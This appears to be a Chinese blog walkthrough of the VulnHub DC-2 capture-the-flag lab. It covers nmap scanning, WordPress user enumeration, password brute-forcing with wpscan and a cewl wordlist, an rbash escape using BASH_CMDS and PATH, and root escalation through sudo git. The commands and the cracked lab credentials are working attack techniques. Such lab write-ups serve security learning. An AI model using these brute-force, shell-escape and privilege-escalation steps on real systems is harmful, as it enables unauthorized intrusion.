vulnhub dc2 靶场实战

靶场地址:https://download.vulnhub.com/dc/DC-2.zip

先来扫一下主机,确定它的IP

image-20220323084646947

确认IP为:192.168.123.81

flag1

然后使用nmap扫一下

1
nmap 192.168.123.81

image-20220323151406590

开启了80端口,浏览器访问

image-20220323151617020

看见了一个Flag选项,查看

image-20220323151722998

提示使用cewl生成密码字典,然后提示了Login

flag2

所以接下来就先扫一下用户,然后使用cewl工具根据用户名生成字典

扫描用户

使用wpcan工具扫描用户

1
wpscan --url http://dc-2/ -e  

扫到了三个用户名:admin、jerry、tom

image-20220323152249692

生成密码字典

使用cewl工具生成密码字典,因为要根据这三个用户名来生成,所以把这三个用户名保存在一个txt文件中

image-20220323152456373

开始生成密码字典,将结果写入pass.txt

1
cewl http://dc-2/wp-login.php --auth_type basic --auth_user admin --auth_pass password -v > pass.txt    

因为我们只要密码,所以需要手动删除pass.txt中其他无关的信息

把这些都删掉

image-20220323152813844

用户名也有了,密码字典也有了

image-20220323153010415

接下来就是需要爆破登录,我们还得拿到后台地址才行,所以再扫描一下后台地址

扫描后台登录地址

使用dirb工具扫描后台登录地址

1
dirb http://192.168.123.81

扫到后台了

image-20220323153236056

image-20220323153349153

使用wpscan工具进行密码爆破,这里会用到前面的user.txt和pass.txt

1
wpscan --url http://dc-2/ --usernames user.txt --passwords pass.txt  

爆破出了两个用户的密码

image-20220323153615909

/ 左边的是用户名,/右边的是密码

user: jerry password: adipiscing

user: tom password: parturient

登录上去看一下

flag3

登录jerry,发现有flag,但没什么可用的信息

image-20220323154012290

接下来使用tom登录试试

也没有发现可利用的信息

难道就没辙了吗?

我觉得不会就开放一个端口吧

端口全扫一遍看看

1
nmap -sS -p 1-65535 -v 192.168.123.81

好家伙,还藏了一个7744端口,以后扫描一定要全扫了

image-20220323155410770

不过这个raqmon-pdu是什么服务,没见过我擦

网上寻找了一番没啥结果,然后麦当大佬看见我这姿势就不对了,重新扫描了一下

1
nmap -p80,7744 -sV 192.168.123.81

原来是SSH服务,我擦,下来要好好再熟悉一下namp工具的参数了

image-20220323160225394

再使用ssh进行连接

jerry用户连不上

image-20220323160538357

换tom用户连接,连接成功

image-20220323160711885

flag3

ls一下发现了一个flag3.txt

无法使用cat命令查看,于是只有使用vi 查看

image-20220323161051937

再次提到了jerry,那么使用su jerry 切换过去试试?

失败,都提示命令未找到,shell给我们做了限制了

image-20220323161301930

那么绕过一下

1
2
3
BASH_CMDS[a]=/bin/sh;a				#把/bin/bash给变量a
export PATH=$PATH:/bin/ #将/bin作为PATH环境变量导出
export PATH=$PATH:/usr/bin #将/usr/bin作为PATH环境变量导出

这下可以使用cat,su等命令了,赶紧切换用户,成功切换到jerry用户

image-20220323161837869

flag4

查看有什么文件呢

发现被拒绝了,因为我们是从tom用户切换过来的,所以得自己进入到jerry用户文件中去

image-20220323162052826

发现了flag4,查看一下

image-20220323162215167

在这里提到了git关键字

flag4

去网上溜达了一下,发现了git提权的方法

发现了两种方法

1
2
3
4
5
6
7
8
9
10
方法一:
sudo git help config
在末行输入:!/bin/bash 或者 !'sh'
完成提权


方法二:
sudo git -p help
!/bin/bash
完成提权

在这里经过验证,使用方法一即可提权成功

image-20220323162749274

在root用户里发现了final-flag

image-20220323162812786

总结:

  1. 端口扫描尽可能全,不遗漏
  2. 再熟悉一下nmap工具的参数
  3. 遇到rbash的限制(只能执行指定的命令),要知道该如何绕过
  4. 掌握git提权方式